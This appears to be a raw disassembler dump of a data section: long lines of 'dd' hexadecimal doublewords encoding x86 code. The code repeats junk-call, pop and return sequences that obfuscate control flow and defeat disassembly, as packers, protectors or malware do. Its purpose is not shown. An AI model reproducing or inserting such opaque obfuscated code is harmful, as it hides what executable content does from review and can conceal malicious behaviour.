		dd 0F000007h, 13C86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 81EABB98h, 6E058CF6h
		dd 619D8B06h, 81062205h, 100E3h, 9BD8B00h, 0B06220Ah, 0B0850FDBh
		dd 29000000h, 2213B5BDh, 0D5BD8306h, 62602h, 35840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0BB1A85C3h, 601FCE6Ch, 1870Fh, 0BBFC0000h, 0D1DFA7h
		dd 96E961h, 0C7FC0000h,	2602D585h, 106h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0C79B7F98h, 858B60E8h, 6223021h, 6870Fh, 850F0000h
		dd 0
		dd offset dword_52E810+151h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 26366BC3h, 8E3E682h, 0C7396AD0h, 2602D585h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 4E8F9BC7h, 0F5105B09h, 5619D8Dh
		dd 8F0F0622h, 6, 295DB58Bh, 23810622h, 0FFFFFEFFh, 89F7B70Fh
		dd 2212F5BDh, 0DB8C6606h, 0D800Fh, 81600000h, 98292AD0h
		dd 6D3EBE7Dh, 8B615436h, 220EF5BDh, 4C3F606h, 4E840Fh
		dd 81660000h, 0FF8D7EF7h, 2220C995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5CBAF4Ah, 0AACC84BFh
		dd 880F5051h, 3, 89F78B66h, 0F602404h, 283h, 8BFE8B00h
		dd 2211719Dh, 0F18B6106h, 3E9E9h, 18F0F00h, 0F5000000h
		dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 69ED94C3h, 80C09485h, 0BD8B7A15h,	6222FD5h
		dd 94BE70E6h, 0E445C9B1h, 0DF816671h, 0B60F703Fh, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0B308EC0Bh, 6BAF917h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8921C357h
		dd 0C38B1056h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	67C35545h, 0B5D2BC70h, 104E8C1h, 2206B59Dh, 0E2F76606h
		dd 7E9h, 66B99F00h, 3AE590BAh, 7E9h, 0C8310D00h, 0E33F9F08h
		dd 0B531D82Bh, 6222575h, 52505093h, 10E9h, 53241900h, 1929D16Eh
		dd 0E94D6B3Ah, 0C6F964F7h, 66310F9Dh, 5A0957BFh, 0FFF89358h
		dd 220F99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0BA36A7C4h, 5D606440h, 95FF6306h
		dd 6223075h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0BDC35343h, 3552EA32h, 89576100h, 222D0995h, 6A00B006h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B38C351h, 222821BDh, 8B70E606h, 6671E4F3h
		dd 46E2CE81h, 830F613Ch, 25Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C4C35040h,	0F8F9CE3Eh, 96109E35h
		dd 0B60FF38Bh, 4194BED8h, 6BA3C7Ah, 8B000000h, 6AC38BF9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 24C7C351h, 0C833C131h, 0BD8B5E4Ah, 6220509h
		dd 6A04E8C1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0A581C351h, 4ADD949h, 2BE2F766h
		dd 868BFD8h, 0BD097715h, 622216Dh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F99529F7h
		dd 2B06221Dh, 9F880FD8h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 26F0C357h
		dd 63FF1914h, 2B0FD5FDh, 2A31BD8Bh, 7B90622h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 99B1C353h, 0C18376ECh, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BE851BD3h
		dd 37E4836Ch, 0AE9C3h, 98040000h, 0D07FA7B3h, 0EBBDE01Bh
		dd 860FD93Bh, 112h, 19E5B58Bh, 8C660622h, 57006AD9h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 557D15D5h, 550CC57Eh, 38A0Fh, 8B660000h, 3CDF81F7h
		dd 0F605DDB1h, 840F04C1h, 0CAh,	20C995FFh, 0B5890622h
		dd 622246Dh, 1F810Fh, 13E80000h, 0AE000000h, 0AB95207Dh
		dd 0B7C6C35Fh, 44B0EED2h, 8220D48Ch, 0BD0B6A10h, 62213CDh
		dd 6A5B5Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 9F7142C3h, 0CF3F5BEEh, 0F38BC3BBh, 0BE9C32Bh
		dd 1A000000h, 14C9170Eh, 2C6D41Ah, 343D8278h, 0F000008h
		dd 5586h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 3DD11A7Bh, 0B78D9900h, 31E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 275166AEh, 5484BF0Ch, 0F6037CEh, 81h, 0C08B6100h, 0C38BF28Bh
		dd 8B53D88Bh, 85C75FF2h, 622159Dh, 1F02DF15h, 0C08BF28Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 75C35343h
		dd 18E0F68h, 0F8000000h, 0F99BD81h, 7D00622h, 850F0000h
		dd 39h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 2DC35141h, 6331BF66h, 0F9985FFh, 8E90622h, 0CF000000h
		dd 650019FFh, 8B6865F9h, 222659BDh, 99B5FF06h, 6A06220Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A73FC352h, 0FFF8948Bh, 22307595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0F8B70F37h, 53006A90h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 9D89B115h, 6221D39h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DEC35040h, 3E1EF9CCh
		dd 0C6FE86E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	7FC35747h, 0D3F585C0h, 559D89BEh, 6606222Ah, 0FBEDD681h
		dd 0FD9D89F5h, 6A062230h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0CC7CC350h,	0F9408B7h
		dd 683h, 79BD8B00h, 0F062230h, 820FFAB7h, 5, 0E179BCBEh
		dd 8B666041h, 6D8D01DEh, 8B062213h, 0D78161CBh,	22FBBDD4h
		dd 6A5FFC56h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0A04AC352h, 58EFB22Ah,	6015BE1Dh
		dd 0F08B4494h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	6C35141h, 26EEF067h, 4464540Ah,	0F855E9C0h, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 5BA6A3C3h, 0FC4A36F7h, 8BDF5F57h, 53006AC1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 90FA3ED8h
		dd 0F0EE12A5h, 0BF0FF6EFh, 4EBF6h, 89000000h, 222051B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0A9105757h, 74315BBh, 8E0F4Dh, 8D000000h
		dd 222CB585h, 0D58D2906h, 1062210h, 2213C19Dh, 0E8525006h
		dd 5, 7715870Dh, 14E9F3h, 60190000h, 621142F8h,	0E304F663h
		dd 1A48BC66h, 0FF1E4820h, 5E5E3A9Eh, 6A240489h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 95896097h, 6220A81h,	14D1B58Bh, 6A610622h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0B9001DE5h, 0D5A73991h, 8E0F5E41h, 6, 3345BD8Bh, 858D0622h
		dd 6260EB8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h
		dd 0B2C35545h, 0A9414662h, 5C0833Ah, 8D0Fh, 50900000h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 936AA256h, 4A5BD01h, 6A0622h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E3C35747h, 0A1F4C767h
		dd 6A006AE4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2602C355h, 13B1E756h, 10E94Ch
		dd 0C39B0000h, 0D1E415A2h, 53A88EC7h, 551492D2h, 95FFAB0Fh
		dd 6223555h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0E4C35646h, 35906A21h, 0E92941C6h, 0F78B660Bh
		dd 1F11BD8Bh, 9D8D0622h, 625A90Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 3C35141h, 2AB32DA0h, 6622BE63h
		dd 0F370F681h, 85FFD3FFh, 62208B1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 18C35343h, 3AC373FBh, 0E6818F1Dh
		dd 62C61B82h, 740E9h, 0E800h, 815D0000h, 260EC2EDh, 47D5BF06h
		dd 0BD8179B5h, 6220F99h, 7D0h, 195860Fh, 95010000h, 62221EDh
		dd 4199D8Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 5EE902C3h, 1555FA45h, 60B167FDh
		dd 0C6EFD4BEh, 0B8C0F4Bh, 0E8000000h, 5, 0EBA2B1B4h, 8161595Bh
		dd 100E3h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4D5F5564h, 18ADE515h, 0BFBB70Fh
		dd 0DD850FDBh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 7C06C350h, 56BFF180h
		dd 0AE9h, 4846F00h, 2DBDDA49h, 5EAF79EEh, 0CA3BD83h, 0F000626h
		dd 4184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 41B2DCCBh, 6A9B441Dh, 0DE952h, 0C050000h
		dd 161AAE15h, 19A7BD84h, 0E9D27C18h, 78h, 184DBD2Bh, 85C70622h
		dd 6260CA3h, 1,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0CEC35343h, 0FE2736Ch, 41E9F2B7h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 27CBC357h, 32849D96h, 0BE66E00Bh, 0BD23AAB5h, 62204F1h
		dd 0CA385C7h, 626h, 5E90000h, 6B000000h, 30EFDA33h, 4199D8Dh
		dd 0EE90622h, 6A000000h, 4C715108h, 0D08FDDC8h,	5F0B1F8Bh
		dd 0FF238163h, 51FFFFFEh, 26B59501h, 665F0622h,	6ADB8Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 270E6AC3h, 0AF3A6563h, 4C3F63Bh, 8C840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7D37CEC3h, 0FFFA8B66h, 2220C995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 50CF4EBDh
		dd 8B66FD18h, 0BF6650F3h, 489FFD7h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0F204D75Dh
		dd 0E9605D41h, 0Eh, 9DB663A2h, 4C9AEF64h, 0F8F334ABh, 0EA809E1Fh
		dd 0E8E9610Bh, 89000002h, 221FA99Dh, 31BD8B06h,	0B0062206h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 4DAE1E69h, 0E69EAB6Eh, 68C0F70h,	8B000000h
		dd 222015B5h, 2971E406h, 222855B5h, 58B0F06h, 60000000h
		dd 616160F8h, 60D8B60Fh, 25958B56h, 5A062200h, 58616052h
		dd 6BA61h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 4BAE74C3h, 0D6B88545h, 5DBD0B80h
		dd 8B062229h, 4E8C1C3h,	8BE2F766h, 2227FDB5h, 81D82B06h
		dd 9195FEFh, 9350933Dh,	1329B58Bh, 0B5FF0622h, 6220F99h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0FBC35747h
		dd 0B58B01B5h, 6220155h, 307595FFh, 0B50B0622h,	62234B5h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0D0AF09C3h, 7F49636Bh, 70E6B702h,	11318509h
		dd 71E40622h, 0BE9h, 308F3D00h,	2571688Dh, 48086BB7h, 830F613Ch
		dd 1BBh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	8AC35747h, 2B8076D5h, 0B60FA70Ah, 0E8E681D8h, 0BA409F0Dh
		dd 6, 1D79B52Bh, 880F0622h, 6, 0ED59589h, 0C38B0622h, 8904E8C1h
		dd 220245BDh, 0E2F76606h, 7CCF8166h, 6AD82BF8h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 21DBC352h, 0C040F637h, 29703A7Ch, 2800Fh, 0F98B0000h
		dd 0C820Fh, 810F0000h, 6, 31F1B58Bh, 89580622h,	2205C985h
		dd 0FD82B06h, 11688h, 11E900h, 7D560000h, 42653B58h, 2E42EFFCh
		dd 96952D5Ah, 0B9558C73h, 7, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 40C35646h, 77446EFh, 7D781A4h
		dd 830B6B6Fh, 8B6000C1h, 0D93B61F0h, 0C5860Fh, 8C660000h
		dd 0F6FE8BD9h, 840F04C1h, 95h, 1619589h, 95FF0622h, 62220C9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h
		dd 0C5355933h, 52BE66B1h, 0F5FA8BEFh, 6DB58B5Bh, 2B062235h
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BF667C1Ch, 0B5094DB9h, 62201E9h, 8343Dh
		dd 26860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E92AC355h,	27h, 48E357BFh
		dd 6AC08B47h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 84DFC353h, 8B57BD74h, 6AD88BC3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 40FEC352h, 6185C778h, 31062205h, 0F570479h
		dd 582h, 5503BF00h, 0C08B5868h,	1C719589h, 0B58B0622h
		dd 6221181h, 0F99BD81h,	7D00622h, 850F0000h, 2Fh, 0F9985FFh
		dd 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 56E3F4C3h, 0DA19897Ah, 119D896Dh,	0FF062206h
		dd 220F99B5h, 298D8906h, 0FF062206h, 22307595h,	0EDB50106h
		dd 0F062215h, 689h, 11950900h, 90062200h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0FCC35646h, 281070CBh
		dd 0E609F23h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	27C35343h, 336D9105h, 8D09B414h, 6222D79h, 1C71BE66h
		dd 0FE98D01h, 0B58B0622h, 62227C1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 5C35242h, 0E538EC5Bh, 0FB8B6612h
		dd 6AF98B66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 26BBC350h, 0F7B70FBDh,	35858B60h
		dd 2306221Ah, 2220B1B5h, 15858B06h, 61062211h, 30FDBD89h
		dd 0B58B0622h, 6221819h, 3315B58Bh, 6A0622h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 294617C3h, 2218C5BDh, 20C68106h, 0F4B52E3h, 6AF3BFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0B1F8BC3h, 0CF9D635Fh, 0DAE9C8A9h, 60FFFFF8h, 6E8h
		dd 8DA9FA00h, 315FFAC7h, 22310985h, 0BD895E06h,	6220601h
		dd 0FC18B61h, 1481h, 0FE900h, 46050000h, 65951262h, 2C76697Ch
		dd 72555913h, 4EB59h, 0F000000h, 388h, 0F88B6600h, 1AA9BD8Bh
		dd 858D0622h, 6222CB5h,	3551B58Bh, 66900622h, 50C7E6BEh
		dd 3053BE66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 91C555AAh, 663D0CADh, 0A2DCDE81h
		dd 2890F60h, 60000000h,	2D858B61h, 6106221Ch, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6E2D3DC3h, 0B36E854Bh, 0C7816650h, 815FC250h, 939396D6h
		dd 6A006A3Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6D37C353h, 0F2D0A89h, 380h, 0F2BF0F00h
		dd 17CF858Dh, 10E90626h, 70000000h, 9F232810h, 0F9BD0E60h
		dd 50667F4Dh, 81C19CE9h, 0A2B19ACFh, 5C08321h, 6690F28Bh
		dd 6650F78Bh, 6A90F98Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0DDB2C352h,	758173A1h
		dd 99D89E6h, 6A062214h,	0F6816600h, 6AFAF8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 37C35343h, 0F8DD79Ch
		dd 38Ch, 0F0BF0F00h, 355595FFh,	6A0622h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 253057C3h
		dd 7326D940h, 0A8BE669Ch, 0F9D8D9Fh, 8B0625A9h,	220629B5h
		dd 0FD3FF06h, 85FFF7B7h, 62208B1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 73C35646h, 3D758E8Ah, 2EC1B25Ch
		dd 1CA5B509h, 0E9FC0622h, 771h,	0E8h, 0ED815D00h, 62617D9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 51C35545h
		dd 89CAFFEAh, 0BE4A66C9h, 2FF09D0Eh, 0F99BD81h,	7D00622h
		dd 860F0000h, 144h, 13DBD89h, 9D8B0622h, 6222965h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 83397522h
		dd 0C0B7EA3h, 0C59D09A3h, 81062207h, 100E3h, 0DF816600h
		dd 0DB0B2A8Dh, 96850Fh,	0B5890000h, 62231C9h, 161BBD83h
		dd 0F000626h, 5084h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0D4E07CE6h, 2FADB589h
		dd 88E90622h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 92C9C356h, 457934F9h
		dd 3BDF359Bh, 1B85C7F9h, 1062616h, 60000000h, 58CA8B50h
		dd 13E9h, 0F356EA00h, 0E3EFA302h, 5C58163h, 0BF37B0F7h
		dd 25E35959h, 35E961h, 0BD0B0000h, 622028Dh, 161B85C7h
		dd 626h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1D0424h, 52420000h, 277CFBC3h, 2A6553B1h, 8D7CD785h
		dd 2229659Dh, 31B58B06h, 81062222h, 0FFFEFF23h,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0DE81BC6Ch, 2C8C83D8h, 6ADB8C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 4544C350h
		dd 0C3F63F78h, 52840F04h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EDC0C357h
		dd 0DE72981Dh, 0B8C0Fh,	89600000h, 221D85BDh, 0D78B6606h
		dd 0C995FF61h, 8B062220h, 220621B5h, 0BF665006h, 4895573h
		dd 6880F24h, 89000000h,	2220A98Dh, 3CBE906h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0D9BC0DC3h, 8304169Ah, 3161F7BCh, 221C15BDh,	13E806h
		dd 507D0000h, 7941F6C6h, 0ECB22988h, 92221741h,	0CE757984h
		dd 4DBD8B46h, 5F06221Dh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 83CCC8C3h, 0DB524884h
		dd 6A70E6B0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0E3CBC356h, 7388D31Fh,	30519589h
		dd 71E40622h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	33C35040h, 0F63A52E1h, 2ABEDE8Dh, 0E90E922Bh, 0Bh
		dd 1FF9FF6Fh, 0C6C5F8A9h, 0FE431D1h, 870FD8B6h,	6, 0AFF5F781h
		dd 6BA6A03h, 0F5000000h, 0B58BC38Bh, 6220F0Dh, 8B04E8C1h
		dd 221A29BDh, 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 91C35040h, 0CDFE2F2Eh, 8B66EDEFh, 66D82BF7h
		dd 0BE93F08Bh, 128D9D86h, 5E850h, 9FC90000h, 60F318F6h
		dd 81BE5851h, 6173BA42h, 0F18B935Eh, 0F99B5FFh,	6A0622h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 3FCECCC3h, 710DF218h, 89F64A50h, 2205258Dh, 7595FF06h
		dd 6A062230h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 8E67C357h, 20B21508h, 6600B0B0h
		dd 0E6C596BEh, 0F7BF0F70h, 6A71E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AE556DC3h
		dd 5AC7AD5Ah, 3CE6689Ch, 0F6830F61h, 81000001h,	3A4BB6F7h
		dd 0FFB8B0Ch, 850FD8B6h, 0Ch, 6800Fh, 95090000h, 622032Dh
		dd 6BAh, 0D958900h, 8B062222h, 799509C3h, 0C1062200h, 0BF6604E8h
		dd 0F7667E76h, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0D82BA91Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 8958F88Bh
		dd 2233458Dh, 0FD82B06h, 17088h, 0C8F0F00h, 0F000000h
		dd 68Ah, 0FDB58B00h, 0B9062219h, 7, 6E9h, 0D12D5E00h, 83B435EEh
		dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0D93B4AC3h, 127860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 26034DC3h
		dd 6880FF5h, 89000000h,	2209E185h, 0D98C6606h, 0ED1B52Bh
		dd 0C1F60622h, 0CD840F04h, 6A000000h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EAAEC352h
		dd 0E0F448C6h, 0BF0F31DCh, 0C995FFF3h, 6A062220h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 9F63C350h, 0A6BA9A0h, 0E0335E7h, 0D638BF51h,	0F55F5F74h
		dd 53006A5Bh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0E2065AD1h, 8DCFA161h, 5E9C32Bh,	17000000h
		dd 0F50F3F9Bh, 1890Fh, 3DF80000h, 834h,	32860Fh, 0FA8B0000h
		dd 48E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 604EAC02h, 1C998D8Bh, 81660622h
		dd 61DC63F2h, 0FE8C08Bh
		dd 40000000h, 0DAFF7A54h, 9FBAAF13h, 30DDBBB1h,	0BD8B28ABh
		dd 62231F1h, 8BC38B5Fh,	0C7F18BD8h, 22041985h, 1465FD06h
		dd 8BF78B5Ch, 0F1BD8BC0h, 8106221Ah, 220F99BDh,	7D006h
		dd 16850F00h, 0FF000000h, 220F9985h, 0BF0F6006h, 0E88166C6h
		dd 89617F5Ah, 221B5585h, 99B5FF06h, 2906220Fh, 2207F5B5h
		dd 7595FF06h, 6A062230h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 33CFC356h, 31F9B70Fh
		dd 222895B5h, 0BD899006h, 6220A89h, 1FDB533h, 0B5010622h
		dd 622027Dh, 200DBD0Bh,	6A0622h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0E7FABFC3h, 8EBFB665h
		dd 6AFA8B66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6632C357h, 7DC5692Dh, 7BEE7F05h
		dd 31B18D89h, 0B0600622h, 4F20B9A3h, 7E924C5h, 0DF000000h
		dd 0B82FDFEh, 6A617D10h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1F44C350h, 0ADDE630Ah
		dd 8E9h, 352F2B00h, 7E9DE03Bh, 0C830F5Dh, 8B000000h, 220245B5h
		dd 51BD2B06h, 0F062219h, 681h, 15BD8B00h, 0E8062235h, 5
		dd 3DAF0CB7h, 0F88B665Eh, 0B5B58B5Eh, 6A062229h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 125CC351h, 0FE93EDFh, 0F6000000h, 73E6126Dh,	0C7A35ADCh
		dd 565A01A0h, 0BD8BE3A3h, 62200BDh, 0FFF897E9h,	2860FFFh
		dd 8B000000h, 66C18BF2h, 3647EE81h, 4EBh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 36BE54C3h, 8151323Dh, 119CE9D6h, 57006A1Eh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 77DF2173h
		dd 0CEAE67BEh, 11E91Eh,	0E0E90000h, 0F2EAD2BBh,	4F4F9137h
		dd 1E27839Dh, 8D620C9Ch, 222CB585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0BEBEF5BEh
		dd 3399D6Ch, 0F98B5090h, 72DE8190h, 6A63903Eh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 673BA2E1h, 0B58BC7EFh, 6221969h, 8E0F006Ah, 6, 31158529h
		dd 858D0622h, 62620B3h,	17CEBE66h, 0BE8h, 936CEE00h, 0B2A13AAFh
		dd 2538AC54h, 5C0835Fh,	90FE8B66h, 4810Fh, 57530000h, 60505F5Eh
		dd 2446B5B8h, 6A90617Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0F602C356h,	8BD1F8A5h
		dd 0F006AF8h, 89h, 35BF6600h, 66006AA7h, 0FFB349BFh, 22355595h
		dd 810F06h, 8D000000h, 25A90F9Dh, 19BD8B06h, 0FF06220Bh
		dd 0F98B66D3h, 8B185FFh, 81660622h, 663FD4EEh, 0E909A9BFh
		dd 7EBh, 0E8h, 0ED815D00h, 62620BDh, 6820Fh, 0B5890000h
		dd 6220E55h, 0F99BD81h,	7D00622h, 860F0000h, 100h, 59D29h
		dd 9D8B0622h, 62207ADh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0B2C35242h, 4677C2A0h, 0B985094Ch, 81062226h
		dd 100E3h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0E4403A6Ch, 8D897F52h, 62232DDh
